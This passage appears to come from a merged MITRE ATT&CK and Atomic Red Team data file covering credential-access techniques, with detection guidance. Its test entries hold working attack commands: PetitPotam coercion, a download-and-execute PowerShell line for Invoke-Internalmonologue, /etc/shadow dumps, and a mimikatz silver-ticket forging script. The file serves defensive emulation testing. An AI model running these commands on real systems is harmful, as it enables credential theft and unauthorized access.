https://github.com/hob0/hashjacking - source_name: Microsoft Managing WebDAV Security description: Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017. url: https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx - source_name: Osanda Stealing NetNTLM Hashes description: Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018. url: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ - source_name: Didier Stevens WebDAV Traffic description: Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017. url: https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/ - source_name: US-CERT APT Energy Oct 2017 description: 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.' url: https://www.us-cert.gov/ncas/alerts/TA17-293A - source_name: Wikipedia Server Message Block description: Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017. url: https://en.wikipedia.org/wiki/Server_Message_Block object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1187 atomic_tests: - name: PetitPotam auto_generated_guid: 485ce873-2e65-4706-9c7e-ae3ab9e14213 description: 'This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system. ' supported_platforms: - windows input_arguments: captureServerIP: description: Computer IP to use to receive the authentication (ex. attacker machine used for NTLM relay) type: string default: 10.0.0.3 targetServerIP: description: Computer IP to force authentication from (ex. domain controller) type: string default: 10.0.0.2 efsApi: description: EFS API to use to coerce authentication type: integer default: 1 petitpotam_path: description: PetitPotam Windows executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\PetitPotam.exe dependency_executor_name: powershell dependencies: - description: | PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}). And the computer must be domain joined (implicit authentication). prereq_command: 'if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true" -OutFile "#{petitpotam_path}" executor: name: powershell elevation_required: false command: | & "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi} Write-Host "End of PetitPotam attack" - name: WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS auto_generated_guid: 7f06b25c-799e-40f1-89db-999c9cc84317 description: PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1') Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true" name: powershell - name: Trigger an authenticated RPC call to a target server with no Sign flag set auto_generated_guid: 81cfdd7f-1f41-4cc5-9845-bb5149438e37 description: |- RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set) Ref: https://twitter.com/splinter_code/status/1421144623678988298 supported_platforms: - windows input_arguments: custom_port: description: Specify the custom port number type: integer default: '9997' server_ip: description: Specify the server IP address. If not specified, the loop back IP will be used type: string default: 127.0.0.1 executor: command: 'rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null' name: powershell elevation_required: false T1056: technique: modified: '2023-05-09T14:00:00.188Z' name: Input Capture description: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - John Lambert, Microsoft Threat Intelligence Center x_mitre_detection: 'Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.' x_mitre_domains: - enterprise-attack x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Metadata' - 'Process: OS API Execution' - 'Driver: Driver Load' x_mitre_permissions_required: - Administrator - SYSTEM - root - User type: attack-pattern id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 created: '2017-05-31T21:30:48.323Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056 external_id: T1056 - source_name: Adventures of a Keystroke description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.' url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_is_subtechnique: false spec_version: '2.1' atomic_tests: [] T1557.002: technique: x_mitre_platforms: - Linux - Windows - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jon Sternstein, Stern Security object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213 created: '2020-10-15T12:05:58.755Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1557.002 url: https://attack.mitre.org/techniques/T1557/002 - source_name: Cylance Cleaver url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf description: Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. - source_name: RFC826 ARP url: https://tools.ietf.org/html/rfc826 description: Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020. - source_name: Sans ARP Spoofing Aug 2003 url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411 description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020. x_mitre_deprecated: false revoked: false description: | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: ARP Cache Poisoning x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1556.009: technique: modified: '2024-04-18T20:53:46.175Z' name: Conditional Access Policies description: "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Gavin Knapp - Joshua Penny x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - SaaS - IaaS x_mitre_version: '1.0' x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Cloud Service: Cloud Service Modification' type: attack-pattern id: attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae created: '2024-01-02T13:43:37.389Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/009 external_id: T1556.009 - source_name: AWS IAM Conditions description: 'AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.' url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html - source_name: GCP IAM Conditions description: Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024. url: https://cloud.google.com/iam/docs/conditions-overview - source_name: JumpCloud Conditional Access Policies description: 'JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.' url: https://jumpcloud.com/support/get-started-conditional-access-policies - source_name: Microsoft Conditional Access description: Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024. url: https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview - source_name: Okta Conditional Access Policies description: Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024. url: https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1555.006: technique: modified: '2023-09-30T20:24:19.357Z' name: Cloud Secrets Management Stores description: "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. \n\nIf an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Martin McCloskey, Datadog x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS x_mitre_version: '1.0' x_mitre_data_sources: - 'Cloud Service: Cloud Service Enumeration' type: attack-pattern id: attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561 created: '2023-09-25T12:41:26.501Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1555/006 external_id: T1555.006 - source_name: Sysdig ScarletEel 2.0 2023 description: 'Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.' url: https://sysdig.com/blog/scarleteel-2-0/ - source_name: AWS Secrets Manager description: AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023. url: https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html - source_name: Google Cloud Secrets description: Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023. url: https://cloud.google.com/secret-manager/docs/view-secret-details - source_name: Permiso Scattered Spider 2023 description: 'Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.' url: https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud - source_name: Microsoft Azure Key Vault description: 'Microsoft. (2023, January 13). Quickstart: Set and retrieve a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.' url: https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1003.008: technique: x_mitre_platforms: - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4 type: attack-pattern created: '2020-02-11T18:46:56.263Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - url: https://attack.mitre.org/techniques/T1003/008 external_id: T1003.008 source_name: mitre-attack - description: The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020. url: https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html source_name: Linux Password and Shadow File Formats - description: 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.' url: https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/ source_name: nixCraft - John the Ripper modified: '2021-04-29T14:49:39.188Z' name: 'OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow' description: | Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats) The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Access' - 'Command: Command Execution' x_mitre_permissions_required: - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1003.008 atomic_tests: - name: Access /etc/shadow (Local) auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235 description: "/etc/shadow file is accessed in Linux environments\n" supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.008.txt" executor: command: | sudo cat /etc/shadow > #{output_file} cat #{output_file} cleanup_command: 'rm -f #{output_file} ' name: bash elevation_required: true - name: Access /etc/master.passwd (Local) auto_generated_guid: 5076874f-a8e6-4077-8ace-9e5ab54114a5 description: "/etc/master.passwd file is accessed in FreeBSD environments\n" supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.008.txt" executor: command: | sudo cat /etc/master.passwd > #{output_file} cat #{output_file} cleanup_command: 'rm -f #{output_file} ' name: sh elevation_required: true - name: Access /etc/passwd (Local) auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d description: "/etc/passwd file is accessed in FreeBSD and Linux environments\n" supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.008.txt" executor: command: | cat /etc/passwd > #{output_file} cat #{output_file} cleanup_command: 'rm -f #{output_file} ' name: sh - name: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat auto_generated_guid: df1a55ae-019d-4120-bc35-94f4bc5c4b0a description: 'Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed ' supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.008.txt" executor: command: | unamestr=$(uname) if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > ${output_file}; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > ${output_file}; fi cleanup_command: 'rm -f #{output_file} ' name: sh elevation_required: true - name: Access /etc/{shadow,passwd,master.passwd} with shell builtins auto_generated_guid: f5aa6543-6cb2-4fae-b9c2-b96e14721713 description: 'Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins ' supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.008.txt" executor: command: | testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) } [ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd testcat /etc/passwd testcat /etc/shadow cleanup_command: 'rm -f #{output_file} ' name: sh elevation_required: true T1558.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27 type: attack-pattern created: '2020-02-11T19:14:48.309Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1558.002 url: https://attack.mitre.org/techniques/T1558/002 - source_name: ADSecurity Silver Tickets url: https://adsecurity.org/?p=2011 description: Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020. - url: https://adsecurity.org/?p=1515 description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. source_name: ADSecurity Detecting Forged Tickets - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea source_name: Medium Detecting Attempts to Steal Passwords from Memory modified: '2021-04-29T14:49:39.188Z' name: 'Steal or Forge Kerberos Tickets: Silver Ticket' description: |- Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets) Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored." x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Logon Session: Logon Session Metadata' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1558.002 atomic_tests: - name: Crafting Active Directory silver tickets with mimikatz auto_generated_guid: 385e59aa-113e-4711-84d9-f637aef01f2c description: | Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session. supported_platforms: - windows input_arguments: domain_sid: description: SID of the targeted domain, if you keep default it will automatically get the current domain SID type: string default: S-1-5-21-DEFAULT domain: description: Targeted Active Directory domain FQDN type: string default: "%userdnsdomain%" account: description: Account to impersonate type: string default: silverticketfakeuser target: description: System you want to target (Default will be logon server) type: string default: "%logonserver:\\\\=%" service_aes256_key: description: AES256 key (you will need to set to match your service key for your target) type: string default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 mimikatz_path: description: Mimikatz windows executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: name: powershell elevation_required: false command: "Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n \ $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n \ $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to silver.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\silver.txt 2>&1 (\n echo Purge existing tickets and create silver ticket:\n klist purge\n #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\" \"exit\"\n\n \ echo.\n echo executing:schtasks /query /S #{target}.#{domain}\n schtasks /query /S #{target}.#{domain}\n \n echo.\n echo Tickets after requesting schtasks:\n klist\n\n echo.\n echo End of Silver Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Silver Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n" T1555.004: technique: modified: '2022-11-08T14:00:00.188Z' name: 'Credentials from Password Stores: Windows Credential Manager' description: |- Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault) Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI. Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: |- Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault) Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault) x_mitre_platforms: - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Bernaldo Penas Antelo - Mugdha Peter Bansode - Uriel Kosayev - Vadim Khrykov x_mitre_data_sources: - 'File: File Access' - 'Command: Command Execution' - 'Process: OS API Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447 created: '2020-11-23T15:35:53.793Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1555/004 external_id: T1555.004 - source_name: Malwarebytes The Windows Vault description: Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020. url: https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ - source_name: Delpy Mimikatz Crendential Manager description: Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020. url: 